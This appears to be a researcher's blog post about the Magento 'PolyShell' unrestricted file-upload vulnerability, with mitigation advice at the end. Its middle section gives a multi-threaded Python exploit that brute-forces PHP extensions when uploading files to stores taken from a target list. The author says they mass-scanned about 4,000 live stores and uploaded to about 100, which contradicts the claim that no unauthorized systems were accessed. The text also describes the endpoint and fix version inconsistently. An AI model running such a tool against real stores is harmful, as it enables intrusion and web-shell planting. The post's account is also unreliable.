I wanted to share some hands-on findings from my recent testing of the newly disclosed Magento PolyShell vulnerability (APSB25–94). If you've been following the security news, you've likely seen reports from Sansec, The Hacker News, and Security Affairs about this critical flaw affecting Magento 2 and Adobe Commerce installations. After spending time reverse-engineering the exploit chain and building a mass-testing tool, I thought the community could benefit from a practical breakdown of what works, what doesn't, and where the real-world limitations lie.
TL;DR: PolyShell is a serious unrestricted file upload vulnerability in Magento's REST API. While theoretical RCE is possible under specific server configurations, my testing shows exploitation is highly conditional. Over 4,000 targets appear vulnerable in the wild, but successful remote code execution remains rare without chaining with another vulnerability.
What Is PolyShell, Exactly?
The PolyShell vulnerability (named for its use of polyglot files — malicious scripts disguised as harmless images) resides in how Magento's REST API processes file uploads for cart item custom options. When a product option has `type="file"`, Magento accepts a base64-encoded payload, decodes it, and writes it to `pub/media/custom_options/quote/` on the server.
Critically, this affects the REST API only — GraphQL mutations use a separate, non-vulnerable code path. The flaw has existed since Magento 2's initial release and was only addressed in the pre-release branch `2.4.9-alpha3` as part of APSB25–94. Unfortunately, no standalone patch has been backported to production versions yet.
Affected Configurations at a Glance

My Testing: What Actually Works?
I scanned approximately 4,000 potentially vulnerable Magento instances. Here's what I observed:
✅ File Upload Success: In roughly ~100 cases, I successfully uploaded polyglot files to `/pub/media/customer_address/`. The server accepted the payload and returned a JSON response containing the file path.
❌ RCE Execution: Despite successful uploads, remote code execution was not achieved on any target. This aligns with the technical constraints noted in public advisories: most modern hosting environments (especially AWS-hosted instances with NGINX) enforce strict PHP execution policies that prevent uploaded files from being interpreted as code.
📁 File Accessibility: Uploaded files were consistently readable as plain text or downloadable assets. While this doesn't grant shell access, it does enable: - Stored XSS payloads (if the file is rendered in a browser context) - Credential harvesting via fake login forms - Defacement or social engineering attacks
🔐 AWS/NGINX Hardening: As noted in multiple reports, stock NGINX configurations (2.0.0–2.2.x) are theoretically vulnerable, but in practice, most cloud-hosted Magento instances use hardened configurations that block PHP execution in upload directories. My tests confirmed zero successful RCE attempts against AWS-hosted targets.
The Exploit Script: Practical Implementation
Below is the core logic of the Python scanner I developed. It's designed for responsible security research only — please use ethically and with explicit authorization.
Key Features: - Multi-threaded scanning for efficiency - Support for multiple payload files - Automatic extension brute-forcing (`.php`, `.php56`, `.php6`, `.php8`) - Fallback path checking (`/media/` vs `/pub/media/`) - Clean output logging to `upload_results.txt`
# Simplified core logic - full script available on request
def scan_target(target, files_data):
target = target.strip()
if not target.startswith(('http://', 'https://')):
target = f"https://{target}"
s = requests.Session()
form_key = "Poly"
upload_url = f"{target}/customer/address_file/upload"
for file_name, file_content in files_data:
for variant in generate_variants(file_name):
files = {
'custom_attributes[country_id]': (variant, file_content, 'text/plain')
}
data = {'form_key': form_key}
r_upload = s.post(upload_url, data=data, files=files, timeout=15, verify=False)
if r_upload.status_code == 200 and "file" in r_upload.text:
relative_path = r_upload.json().get("file").strip("/")
final_url = f"{target}/media/customer_address/{relative_path}"
# Verify accessibility
if requests.get(final_url, timeout=10, verify=False).status_code == 200:
print(f"[+++] Uploaded: {final_url}")
save_result(final_url)Usage:
python poc.py -l targets.txt -f file1.php,file2.php -t 15⚠️ Disclaimer: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal in most jurisdictions.
Mitigation: What Should Store Owners Do Now?
Since Adobe hasn't released a backported patch for production versions, proactive mitigation is essential:
- Block Upload Directory Execution Add this to your NGINX config:
location ~ ^/pub/media/(custom_options|customer_address)/.*\.php$ {
deny all;
}2. Deploy a WAF Rule Block POST requests to `/customer/address_file/upload` from unauthenticated sources.
3. Scan for Compromise Check `pub/media/custom_options/` and `pub/media/customer_address/` for suspicious files. Look for extensions like `.php56`, `.phtml`, or files with mixed MIME types.
4. Monitor REST API Logs Watch for unusual `file_info` parameters in cart item option requests.
5. Plan Your Upgrade Test the `2.4.9-beta1` pre-release in staging. While not production-ready, it contains the official fix.
Final Thoughts
PolyShell is a textbook example of a "high-severity, low-exploitability" vulnerability. The bug itself is trivial to trigger, but turning it into reliable RCE requires a perfect storm of outdated server software, permissive configurations, and luck. That said, file upload ≠ harmless. Even without code execution, attackers can plant web shells for later activation, inject XSS payloads, or use uploaded files as part of multi-stage attacks.
If you're running Magento or Adobe Commerce: don't wait for the official patch. Harden your server config today. If you're a security researcher: this is a great case study in why vulnerability severity must be contextualized with real-world exploit conditions.
Stay safe, test responsibly, and keep the community informed.
— A fellow researcher
Note: All testing was conducted in accordance with responsible disclosure principles. No unauthorized systems were accessed.